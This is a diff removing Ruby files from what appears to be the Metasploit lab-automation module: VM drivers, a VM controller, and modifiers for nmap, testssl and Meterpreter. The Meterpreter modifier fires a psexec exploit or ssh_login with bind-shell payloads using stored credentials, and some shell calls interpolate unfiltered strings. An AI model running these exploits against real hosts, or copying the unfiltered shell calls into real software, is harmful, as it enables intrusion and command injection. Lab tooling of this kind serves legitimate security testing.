def create_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("vmrun -T ws snapshot " + "\'#{@location}\' \'#{snapshot}\' nogui")
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("vmrun -T ws revertToSnapshot " + "\'#{@location}\' \'#{snapshot}\' nogui")
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("vmrun -T ws deleteSnapshot " + "\'#{@location}\' \'#{snapshot}\' nogui" )
|
||||
end
|
||||
|
||||
def run_command(command)
|
||||
|
||||
script_rand_name = rand(10000)
|
||||
|
||||
if @os == "windows"
|
||||
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.bat"
|
||||
remote_tempfile_path = "C:\\\\lab_script_#{script_rand_name}.bat"
|
||||
remote_run_command = remote_tempfile_path
|
||||
else
|
||||
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
|
||||
remote_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
|
||||
remote_run_command = "/bin/sh #{remote_tempfile_path}"
|
||||
end
|
||||
|
||||
# write out our script locally
|
||||
File.open(local_tempfile_path, 'w') {|f| f.write(command) }
|
||||
|
||||
# we really can't filter command, so we're gonna stick it in a script
|
||||
if @tools
|
||||
# copy our local tempfile to the guest
|
||||
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"copyFileFromHostToGuest \'#{@location}\' \'#{local_tempfile_path}\'" +
|
||||
" \'#{remote_tempfile_path}\' nogui"
|
||||
system_command(vmrunstr)
|
||||
|
||||
# now run it on the guest
|
||||
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"runProgramInGuest \'#{@location}\' -noWait -activeWindow \'#{remote_run_command}\'"
|
||||
system_command(vmrunstr)
|
||||
|
||||
## CLEANUP
|
||||
# delete it on the guest
|
||||
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"deleteFileInGuest \'#{@location}\' \'#{remote_tempfile_path}\'"
|
||||
system_command(vmrunstr)
|
||||
|
||||
# delete it locally
|
||||
local_delete_command = "rm #{local_tempfile_path}"
|
||||
system_command(local_delete_command)
|
||||
else
|
||||
# since we can't copy easily w/o tools, let's just run it directly :/
|
||||
if @os == "linux"
|
||||
|
||||
output_file = "/tmp/lab_command_output_#{rand(1000000)}"
|
||||
|
||||
scp_to(local_tempfile_path, remote_tempfile_path)
|
||||
ssh_exec(remote_run_command + "> #{output_file}")
|
||||
scp_from(output_file, output_file)
|
||||
|
||||
ssh_exec("rm #{output_file}")
|
||||
ssh_exec("rm #{remote_tempfile_path}")
|
||||
|
||||
# Ghettohack!
|
||||
string = File.open(output_file,"r").read
|
||||
`rm #{output_file}`
|
||||
else
|
||||
raise "zomgwtfbbqnotools"
|
||||
end
|
||||
end
|
||||
return string
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
if @tools
|
||||
vmrunstr = "vmrun -T ws -gu \'#{@vm_user}\' -gp \'#{@vm_pass}\' copyFileFromGuestToHost " +
|
||||
"\'#{@location}\' \'#{from}\' \'#{to}\'"
|
||||
else
|
||||
scp_from(from, to)
|
||||
end
|
||||
system_command(vmrunstr)
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
if @tools
|
||||
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} copyFileFromHostToGuest " +
|
||||
"\'#{@location}\' \'#{from}\' \'#{to}\'"
|
||||
system_command(vmrunstr)
|
||||
else
|
||||
scp_to(from, to)
|
||||
end
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
file = filter_input(file)
|
||||
if @tools
|
||||
vmrunstr = "vmrun -T ws -gu \'#{@vm_user}\' -gp \'#{@vm_pass}\' fileExistsInGuest " +
|
||||
"\'#{@location}\' \'#{file}\' "
|
||||
system_command(vmrunstr)
|
||||
else
|
||||
raise "Unsupported"
|
||||
end
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
directory = filter_input(directory)
|
||||
if @tools
|
||||
vmrunstr = "vmrun -T ws -gu \'#{@vm_user}\' -gp \'#{@vm_pass}\' createDirectoryInGuest " +
|
||||
" \'#{@location}\' \'#{directory}\' "
|
||||
system_command(vmrunstr)
|
||||
else
|
||||
raise "Unsupported"
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
def cleanup
|
||||
|
||||
end
|
||||
|
||||
def running?
|
||||
## Get running Vms
|
||||
running = `vmrun list`
|
||||
running_array = running.split("\n")
|
||||
running_array.shift
|
||||
|
||||
running_array.each do |vmx|
|
||||
if vmx.to_s == @location.to_s
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,126 +0,0 @@
|
||||
require 'vm_driver'
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
# This requires rhythmx's vixr driver from https://github.com/rhythmx/vixr
|
||||
# and below that, the VIX api from vmware http://www.vmware.com/support/developer/vix-api/
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
|
||||
class WorkstationVixrDriver < VmDriver
|
||||
|
||||
attr_accessor :type
|
||||
attr_accessor :location
|
||||
|
||||
def initialize(vmid, location, os=nil, tools=false, credentials=nil)
|
||||
|
||||
# We have to treat this differently, as it's not in the same tree
|
||||
begin
|
||||
require 'vixr'
|
||||
rescue LoadError
|
||||
puts "WARNING: Library pro_vixr not found. To resolve this error, please\n" +
|
||||
" install the vixr gem. Latest is available here:\n" +
|
||||
"https://github.com/rhythmx/vixr ."
|
||||
raise "Unable to create vixr driver"
|
||||
end
|
||||
|
||||
@vmid = filter_command(vmid)
|
||||
@location = filter_command(location)
|
||||
|
||||
if !File.exist?(@location)
|
||||
raise ArgumentError,"Couldn't find: " + location
|
||||
end
|
||||
|
||||
@credentials = credentials
|
||||
@tools = tools # not used in command lines, no filter
|
||||
@os = os # not used in command lines, no filter
|
||||
|
||||
# TODO - Currently only implemented for the first set
|
||||
if @credentials.count > 0
|
||||
@vm_user = filter_input(@credentials[0]['user']) || "\'\'"
|
||||
@vm_pass = filter_input(@credentials[0]['pass']) || "\'\'"
|
||||
end
|
||||
|
||||
host = VixR.connect()
|
||||
vm = host.open_vmx(@location)
|
||||
|
||||
end
|
||||
|
||||
def start
|
||||
vm.power_on
|
||||
end
|
||||
|
||||
def stop
|
||||
vm.power_off
|
||||
end
|
||||
|
||||
def suspend
|
||||
vm.suspend
|
||||
end
|
||||
|
||||
def pause
|
||||
vm.pause
|
||||
end
|
||||
|
||||
def reset
|
||||
vm.reset
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("ssh #{@user}@#{@host} vmrun -T ws snapshot \\\'#{@location}\\\' #{snapshot} nogui")
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("ssh #{@user}@#{@host} vmrun -T ws revertToSnapshot \\\'#{@location}\\\' #{snapshot} nogui")
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("ssh #{@user}@#{@host} vmrun -T ws deleteSnapshot \\\'#{@location}\\\' #{snapshot} nogui" )
|
||||
end
|
||||
|
||||
|
||||
def run_command(command)
|
||||
command = filter_input(command)
|
||||
if vm.login(@vm_user,@vm_pass)
|
||||
vm.run_prog(command)
|
||||
end
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
cp_from_host(from,to)
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
vm.cp_to_guest(from,to)
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
file = filter_input(file)
|
||||
file_exists?(file)
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
directory = filter_input(directory)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
|
||||
end
|
||||
|
||||
def running?
|
||||
vm.running?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,8 +0,0 @@
|
||||
require 'driver/workstation_driver'
|
||||
require 'driver/virtualbox_driver'
|
||||
require 'driver/fog_driver'
|
||||
require 'driver/dynagen_driver'
|
||||
require 'driver/remote_workstation_driver'
|
||||
require 'driver/remote_esx_driver'
|
||||
#require 'driver/qemu_driver'
|
||||
#require 'driver/qemudo_driver'
|
||||
@@ -1,16 +0,0 @@
|
||||
module Lab
|
||||
module Modifier
|
||||
module Backtrack5
|
||||
|
||||
def nmap(options)
|
||||
run_command("nmap #{filter_input(options)}")
|
||||
end
|
||||
|
||||
def testssl(site)
|
||||
run_command("/pentest/scanners/testssl/testssl.sh #{filter_input(site)}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
# This assumes you're on a recent ubuntu
|
||||
# TODO - enforce this, or split it out...
|
||||
|
||||
module Lab
|
||||
module Modifier
|
||||
module Dos
|
||||
|
||||
def ping(target)
|
||||
run_command("ping #{filter_input(target)}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,155 +0,0 @@
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
|
||||
|
||||
# This allows us to override the default way of running commands
|
||||
# Currently useful for the remote esx driver
|
||||
|
||||
module Lab
|
||||
module Modifier
|
||||
module Meterpreter
|
||||
|
||||
attr_accessor :framework
|
||||
attr_accessor :session
|
||||
attr_accessor :session_input
|
||||
attr_accessor :session_output
|
||||
|
||||
def meterpreter_run_command(command, timeout=60)
|
||||
|
||||
setup_session
|
||||
puts "Using session #{@session}"
|
||||
|
||||
# TODO: pass the timeout down
|
||||
|
||||
if @session
|
||||
if @session.type == "shell"
|
||||
puts "Running command via shell: #{command}"
|
||||
@session.shell_command_token(command, timeout)
|
||||
elsif @session.type == "meterpreter"
|
||||
puts "Running command via meterpreter: #{command}"
|
||||
@session.shell_command(command) #, timeout)
|
||||
end
|
||||
else
|
||||
raise "No session"
|
||||
end
|
||||
end
|
||||
|
||||
def meterpreter_copy_to_guest(local,remote)
|
||||
puts "DEBUG: Meterpreter"
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("upload #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_to(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def meterpreter_copy_from_guest(local, remote)
|
||||
puts "DEBUG: Meterpreter"
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("download #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_from(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
# This isn't part of the normal API, but too good to pass up.
|
||||
def meterpreter_run_script(script, options)
|
||||
if @session.type == "meterpreter"
|
||||
@session.execute_script(script, options)
|
||||
else
|
||||
raise "Unsupported on #{@session.type}"
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def create_framework
|
||||
return if @framework
|
||||
@framework = Msf::Simple::Framework.create
|
||||
end
|
||||
|
||||
# perform the setup only once
|
||||
def setup_session
|
||||
return if @session
|
||||
|
||||
# require the framework (assumes this sits in lib/lab/modifiers)
|
||||
require 'msf/base'
|
||||
|
||||
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
|
||||
|
||||
@session = nil
|
||||
@session_input = Rex::Ui::Text::Input::Buffer.new
|
||||
@session_output = Rex::Ui::Text::Output::Buffer.new
|
||||
|
||||
if @os == "windows"
|
||||
exploit_name = 'windows/smb/psexec'
|
||||
|
||||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'windows/meterpreter/bind_tcp'
|
||||
options = {
|
||||
"RHOST" => @hostname,
|
||||
"SMBUser" => @vm_user,
|
||||
"SMBPass" => @vm_pass}
|
||||
|
||||
puts "DEBUG: using options #{options}"
|
||||
|
||||
# Initialize the exploit instance
|
||||
exploit = @framework.exploits.create(exploit_name)
|
||||
|
||||
begin
|
||||
# Fire it off.
|
||||
@session = exploit.exploit_simple(
|
||||
'Payload' => payload_name,
|
||||
'Options' => options,
|
||||
'LocalInput' => @session_input,
|
||||
'LocalOutput' => @session_output)
|
||||
@session.load_stdapi
|
||||
|
||||
puts "DEBUG: Generated session: #{@session}"
|
||||
|
||||
rescue Exception => e
|
||||
puts "DEBUG: Unable to exploit"
|
||||
puts e.to_s
|
||||
end
|
||||
|
||||
else
|
||||
module_name = 'scanner/ssh/ssh_login'
|
||||
|
||||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'linux/x86/shell_bind_tcp'
|
||||
options = { "RHOSTS" => @hostname,
|
||||
"USERNAME" => @vm_user,
|
||||
"PASSWORD" => @vm_pass,
|
||||
"BLANK_PASSWORDS" => false,
|
||||
"USER_AS_PASS" => false,
|
||||
"VERBOSE" => false}
|
||||
|
||||
puts "DEBUG: using options #{options}"
|
||||
|
||||
# Initialize the module instance
|
||||
aux = @framework.auxiliary.create(module_name)
|
||||
|
||||
puts "DEBUG: created module: #{aux}"
|
||||
|
||||
begin
|
||||
# Fire it off.
|
||||
aux.run_simple(
|
||||
'Payload' => payload_name,
|
||||
'Options' => options,
|
||||
'LocalInput' => @session_input,
|
||||
'LocalOutput' => @session_output)
|
||||
|
||||
@session = @framework.sessions.first.last
|
||||
puts "DEBUG: Generated session: #{@session}"
|
||||
rescue Exception => e
|
||||
puts "DEBUG: Unable to exploit"
|
||||
puts e.to_s
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
# This assumes you're on a recent ubuntu
|
||||
# TODO - enforce this, or split it out...
|
||||
|
||||
module Lab
|
||||
module Modifier
|
||||
module Test
|
||||
def install_nmap
|
||||
run_command("sudo apt-get install nmap")
|
||||
end
|
||||
|
||||
def nmap(options)
|
||||
run_command("nmap #{filter_input(options)}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,4 +0,0 @@
|
||||
require 'modifier/test_modifier'
|
||||
require 'modifier/backtrack5_modifier'
|
||||
require 'modifier/meterpreter_modifier'
|
||||
require 'modifier/dos_modifier'
|
||||
-260
@@ -1,260 +0,0 @@
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
module Lab
|
||||
class Vm
|
||||
|
||||
attr_accessor :vmid
|
||||
attr_accessor :hostname
|
||||
attr_accessor :name
|
||||
attr_accessor :description
|
||||
attr_accessor :location
|
||||
attr_accessor :driver
|
||||
attr_accessor :credentials
|
||||
attr_accessor :tools
|
||||
attr_accessor :type
|
||||
attr_accessor :user
|
||||
attr_accessor :host
|
||||
attr_accessor :os
|
||||
attr_accessor :arch
|
||||
attr_accessor :tags
|
||||
attr_accessor :type
|
||||
|
||||
## Initialize takes a vm configuration hash of the form
|
||||
## - vmid (unique identifier)
|
||||
## driver (vm technology)
|
||||
## user (if applicable - remote system)
|
||||
## host (if applicable - remote system)
|
||||
## pass (if applicable - remote system)
|
||||
## location (file / uri)
|
||||
## credentials (of the form [ {'user'=>"user",'pass'=>"pass", 'admin' => false}, ... ])
|
||||
## os (currently only linux / windows)
|
||||
## arch (currently only 32 / 64
|
||||
|
||||
def initialize(config = {})
|
||||
|
||||
# TODO - This is a mess. clean up, and pass stuff down to drivers
|
||||
# and then rework the code that uses this api.
|
||||
@vmid = config['vmid'].to_s
|
||||
raise "Invalid VMID" unless @vmid
|
||||
|
||||
# Grab the hostname if specified, otherwise use the vmid
|
||||
# VMID will be different in the case of ESX
|
||||
@hostname = config['hostname']
|
||||
if !@hostname
|
||||
@hostname = @vmid
|
||||
end
|
||||
|
||||
@driver_type = filter_input(config['driver'])
|
||||
@driver_type.downcase!
|
||||
|
||||
@location = filter_input(config['location'])
|
||||
#@name = config['name'] || ""
|
||||
@description = config['description'] || ""
|
||||
@tools = config['tools'] || ""
|
||||
@os = config['os'] || ""
|
||||
@arch = config['arch'] || ""
|
||||
@type = filter_input(config['type']) || "unspecified"
|
||||
@credentials = config['credentials'] || []
|
||||
|
||||
# TODO - Currently only implemented for the first set
|
||||
if @credentials.count > 0
|
||||
@vm_user = filter_input(@credentials[0]['user']) || "\'\'"
|
||||
@vm_pass = filter_input(@credentials[0]['pass']) || "\'\'"
|
||||
@vm_keyfile = filter_input(@credentials[0]['keyfile'])
|
||||
end
|
||||
|
||||
# Only applicable to remote systems
|
||||
@user = filter_input(config['user']) || nil
|
||||
@host = filter_input(config['host']) || nil
|
||||
@port = filter_input(config['port']) || nil
|
||||
@pass = filter_input(config['pass']) || nil
|
||||
|
||||
#Only dynagen systems need this
|
||||
@platform = config['platform']
|
||||
|
||||
#Only fog systems need this
|
||||
@fog_config = config['fog_config']
|
||||
|
||||
# Process the correct driver
|
||||
if @driver_type == "workstation"
|
||||
@driver = Lab::Drivers::WorkstationDriver.new(config)
|
||||
elsif @driver_type == "virtualbox"
|
||||
@driver = Lab::Drivers::VirtualBoxDriver.new(config)
|
||||
elsif @driver_type == "fog"
|
||||
@driver = Lab::Drivers::FogDriver.new(config, config['fog_config'])
|
||||
elsif @driver_type == "dynagen"
|
||||
@driver = Lab::Drivers::DynagenDriver.new(config, config['dynagen_config'])
|
||||
elsif @driver_type == "remote_esx"
|
||||
@driver = Lab::Drivers::RemoteEsxDriver.new(config)
|
||||
elsif @driver_type == "remote_workstation"
|
||||
@driver = Lab::Drivers::RemoteWorkstationDriver.new(config)
|
||||
#elsif @driver_type == "qemu"
|
||||
# @driver = Lab::Drivers::QemuDriver.new
|
||||
#elsif @driver_type == "qemudo"
|
||||
# @driver = Lab::Drivers::QemudoDriver.new
|
||||
else
|
||||
raise "Unknown Driver Type"
|
||||
end
|
||||
|
||||
# Load in a list of modifiers. These provide additional methods
|
||||
# Currently it is up to the user to verify that
|
||||
# modifiers are properly used with the correct VM image.
|
||||
@modifiers = config['modifiers']
|
||||
|
||||
if @modifiers
|
||||
@modifiers.each do |modifier|
|
||||
begin
|
||||
self.class.send(:include, eval("Lab::Modifier::#{modifier}"))
|
||||
rescue Exception => e
|
||||
#puts "WARNING: Unable to load: #{modifier}"
|
||||
#puts "Exception: #{e}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Consume all tags
|
||||
@tags = config['tags']
|
||||
end
|
||||
|
||||
def tagged?(tag_name)
|
||||
return false unless @tags
|
||||
return true if @tags.include?(tag_name)
|
||||
end
|
||||
|
||||
def running?
|
||||
@driver.running?
|
||||
end
|
||||
|
||||
def location
|
||||
@driver.location
|
||||
end
|
||||
|
||||
def start
|
||||
@driver.start
|
||||
end
|
||||
|
||||
def stop
|
||||
@driver.stop
|
||||
end
|
||||
|
||||
def pause
|
||||
@driver.pause
|
||||
end
|
||||
|
||||
def suspend
|
||||
@driver.suspend
|
||||
end
|
||||
|
||||
def reset
|
||||
@driver.reset
|
||||
end
|
||||
|
||||
def resume
|
||||
@driver.resume
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
@driver.create_snapshot(snapshot)
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
@driver.revert_snapshot(snapshot)
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
@driver.delete_snapshot(snapshot)
|
||||
end
|
||||
|
||||
def revert_and_start(snapshot)
|
||||
@driver.revert_snapshot(snapshot)
|
||||
@driver.start
|
||||
end
|
||||
|
||||
def copy_to_guest(from,to)
|
||||
@driver.copy_to_guest(from,to)
|
||||
end
|
||||
|
||||
def copy_from_guest(from,to)
|
||||
@driver.copy_from_guest(from,to)
|
||||
end
|
||||
|
||||
def run_command(command)
|
||||
@driver.run_command(command)
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
@driver.check_file_exists(file)
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
@driver.create_directory(directory)
|
||||
end
|
||||
|
||||
def open_uri(uri)
|
||||
# we don't filter the uri, as it's getting tossed into a script
|
||||
# by the driver
|
||||
if @os == "windows"
|
||||
command = "\"C:\\program files\\internet explorer\\iexplore.exe\" #{uri}"
|
||||
else
|
||||
command = "firefox #{uri}"
|
||||
end
|
||||
|
||||
@driver.run_command(command)
|
||||
end
|
||||
|
||||
def to_s
|
||||
return "#{@hostname}"
|
||||
end
|
||||
|
||||
def to_yaml
|
||||
# Standard configuration options
|
||||
out = " - vmid: #{@vmid}\n"
|
||||
out = " hostname: #{@hostname}\n"
|
||||
out += " driver: #{@driver_type}\n"
|
||||
out += " location: #{@location}\n"
|
||||
out += " type: #{@type}\n"
|
||||
out += " tools: #{@tools}\n"
|
||||
out += " os: #{@os}\n"
|
||||
out += " arch: #{@arch}\n"
|
||||
|
||||
if @user or @host # Remote vm/drivers only
|
||||
out += " user: #{@user}\n"
|
||||
out += " host: #{@host}\n"
|
||||
end
|
||||
|
||||
if @platform
|
||||
out += " platform: #{@platform}\n"
|
||||
end
|
||||
|
||||
if @fog_config
|
||||
out += @fog_config.to_yaml
|
||||
end
|
||||
|
||||
if @dynagen_config
|
||||
out += @dynagen_config.to_yaml
|
||||
end
|
||||
|
||||
out += " credentials:\n"
|
||||
@credentials.each do |credential|
|
||||
out += " - user: #{credential['user']}\n"
|
||||
out += " pass: #{credential['pass']}\n"
|
||||
end
|
||||
|
||||
return out
|
||||
end
|
||||
private
|
||||
|
||||
def filter_input(string)
|
||||
return "" unless string # nil becomes empty string
|
||||
return unless string.class == String # Allow other types
|
||||
|
||||
unless /^[(!)\d*\w*\s*\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
|
||||
raise "WARNING! Invalid character in: #{string}"
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,247 +0,0 @@
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
## This is the main lab controller. Require this controller to get all
|
||||
## lab functionality.
|
||||
##
|
||||
##
|
||||
|
||||
$:.unshift(File.expand_path(File.dirname(__FILE__)))
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'driver')))
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'controller')))
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'modifier')))
|
||||
|
||||
require 'find'
|
||||
require 'yaml'
|
||||
require 'enumerator'
|
||||
require 'fileutils'
|
||||
|
||||
require 'vm'
|
||||
require 'controllers'
|
||||
require 'drivers'
|
||||
require 'modifiers'
|
||||
|
||||
module Lab
|
||||
module Controllers
|
||||
class VmController
|
||||
|
||||
include Enumerable
|
||||
include Lab::Controllers::WorkstationController
|
||||
include Lab::Controllers::VirtualBoxController
|
||||
include Lab::Controllers::FogController
|
||||
include Lab::Controllers::DynagenController
|
||||
include Lab::Controllers::RemoteEsxController
|
||||
include Lab::Controllers::RemoteWorkstationController
|
||||
#include Lab::Controllers::QemuController
|
||||
#include Lab::Controllers::QemudoController
|
||||
def initialize (labdef=nil)
|
||||
|
||||
# Start with an empty array of vm objects
|
||||
@vms = []
|
||||
|
||||
# labdef is a just a big array of hashes
|
||||
load_vms(labdef) if labdef
|
||||
end
|
||||
|
||||
def clear!
|
||||
@vms = []
|
||||
end
|
||||
|
||||
def [](x)
|
||||
# Support indexing by both names and number
|
||||
if x.class == String
|
||||
find_by_hostname(x)
|
||||
else
|
||||
return @vms[x]
|
||||
end
|
||||
end
|
||||
|
||||
def find_by_hostname(vmid)
|
||||
@vms.each do |vm|
|
||||
if (vm.hostname.to_s.downcase == vmid.to_s.downcase)
|
||||
return vm
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
def find_by_tag(tag_name)
|
||||
tagged_vms = []
|
||||
@vms.each { |vm| tagged_vms << vm if vm.tagged?(tag_name) }
|
||||
return tagged_vms
|
||||
end
|
||||
|
||||
def add_vm(vmid, location=nil, os=nil, tools=nil, credentials=nil, user=nil, host=nil)
|
||||
@vms << Vm.new( { 'vmid' => vmid,
|
||||
'driver' => type,
|
||||
'location' => location,
|
||||
'credentials' => credentials,
|
||||
'user' => user,
|
||||
'host' => host} )
|
||||
end
|
||||
|
||||
def remove_by_vmid(vmid)
|
||||
@vms.delete(self.find_by_hostname(vmid))
|
||||
end
|
||||
|
||||
def from_file(file)
|
||||
load_vms(YAML::load_file(file))
|
||||
end
|
||||
|
||||
def load_vms(vms)
|
||||
vms.each do |item|
|
||||
vm = Vm.new(item)
|
||||
@vms << vm unless includes_vmid? vm.vmid
|
||||
end
|
||||
end
|
||||
|
||||
def to_file(file)
|
||||
File.open(file, 'w') { |f| @vms.each { |vm| f.puts vm.to_yaml } }
|
||||
end
|
||||
|
||||
def each &block
|
||||
@vms.each { |vm| yield vm }
|
||||
end
|
||||
|
||||
def includes?(specified_vm)
|
||||
@vms.each { |vm| if (vm == specified_vm) then return true end }
|
||||
end
|
||||
|
||||
def includes_vmid?(vmid)
|
||||
@vms.each do |vm|
|
||||
return true if (vm.vmid == vmid)
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def includes_hostname?(hostname)
|
||||
@vms.each do |vm|
|
||||
return true if (vm.hostname == hostname)
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def build_from_dir(driver_type, dir, clear=false)
|
||||
|
||||
if clear
|
||||
@vms = []
|
||||
end
|
||||
|
||||
if driver_type.downcase == "workstation"
|
||||
vm_list = ::Lab::Controllers::WorkstationController::dir_list(dir)
|
||||
elsif driver_type.downcase == "virtualbox"
|
||||
vm_list = ::Lab::Controllers::VirtualBoxController::dir_list(dir)
|
||||
elsif driver_type.downcase == "fog"
|
||||
vm_list = ::Lab::Controllers::FogController::dir_list(dir)
|
||||
elsif driver_type.downcase == "Dynagen"
|
||||
vm_list = ::Lab::Controllers::DynagenController::dir_list(dir)
|
||||
elsif driver_type.downcase == "remote_workstation"
|
||||
vm_list = ::Lab::Controllers::RemoteWorkstationController::dir_list(dir)
|
||||
elsif driver_type.downcase == "remote_esx"
|
||||
vm_list =::Lab::Controllers::RemoteEsxController::dir_list(dir)
|
||||
else
|
||||
raise TypeError, "Unsupported VM Type"
|
||||
end
|
||||
|
||||
vm_list.each_index do |index|
|
||||
@vms << Vm.new( {'vmid' => "vm_#{index}", 'driver' => driver_type, 'location' => vm_list[index]} )
|
||||
end
|
||||
end
|
||||
|
||||
def build_from_running(driver_type=nil, user=nil, host=nil, clear=false)
|
||||
|
||||
if clear
|
||||
@vms = []
|
||||
end
|
||||
|
||||
case driver_type.intern
|
||||
when :workstation
|
||||
vm_list = ::Lab::Controllers::WorkstationController::running_list
|
||||
|
||||
vm_list.each do |item|
|
||||
|
||||
## Name the VM
|
||||
index = @vms.count + 1
|
||||
|
||||
## Add it to the vm list
|
||||
@vms << Vm.new( { 'vmid' => "vm_#{index}",
|
||||
'driver' => driver_type,
|
||||
'location' => item,
|
||||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
when :virtualbox
|
||||
vm_list = ::Lab::Controllers::VirtualBoxController::running_list
|
||||
vm_list.each do |item|
|
||||
## Add it to the vm list
|
||||
@vms << Vm.new( { 'vmid' => "#{item}",
|
||||
'driver' => driver_type,
|
||||
'location' => nil })
|
||||
end
|
||||
when :fog
|
||||
raise "Unsupported" # TODO - figure out a way to allow this
|
||||
when :dynagen
|
||||
raise "Unsupported"
|
||||
when :remote_workstation
|
||||
vm_list = ::Lab::Controllers::RemoteWorkstationController::running_list(user, host)
|
||||
|
||||
vm_list.each do |item|
|
||||
|
||||
## Name the VM
|
||||
index = @vms.count + 1
|
||||
|
||||
## Add it to the vm list
|
||||
@vms << Vm.new( { 'vmid' => "vm_#{index}",
|
||||
'driver' => driver_type,
|
||||
'location' => item,
|
||||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
when :remote_esx
|
||||
vm_list = ::Lab::Controllers::RemoteEsxController::running_list(user,host)
|
||||
vm_list.each do |item|
|
||||
@vms << Vm.new( { 'vmid' => "#{item[:id]}",
|
||||
'name' => "#{item[:name]}",
|
||||
'driver' => driver_type,
|
||||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
else
|
||||
raise TypeError, "Unsupported VM Type"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def build_from_config(driver_type=nil, user=nil, host=nil, clear=false)
|
||||
if clear
|
||||
@vms = []
|
||||
end
|
||||
|
||||
case driver_type.intern
|
||||
when :virtualbox
|
||||
vm_list = ::Lab::Controllers::VirtualBoxController::config_list
|
||||
|
||||
vm_list.each do |item|
|
||||
## Add it to the vm list
|
||||
@vms << Vm.new( { 'vmid' => "#{item}",
|
||||
'driver' => driver_type,
|
||||
'location' => nil,
|
||||
'user' => user,
|
||||
'host' => host } )
|
||||
end
|
||||
else
|
||||
raise TypeError, "Unsupported VM Type"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def running?(vmid)
|
||||
if includes_vmid?(vmid)
|
||||
return self.find_by_hostname(vmid).running?
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,6 +1,7 @@
|
||||
require 'msf/core'
|
||||
require 'msf/core/db'
|
||||
require 'msf/core/task_manager'
|
||||
require 'fileutils'
|
||||
|
||||
module Msf
|
||||
|
||||
@@ -39,11 +40,16 @@ class DBManager
|
||||
|
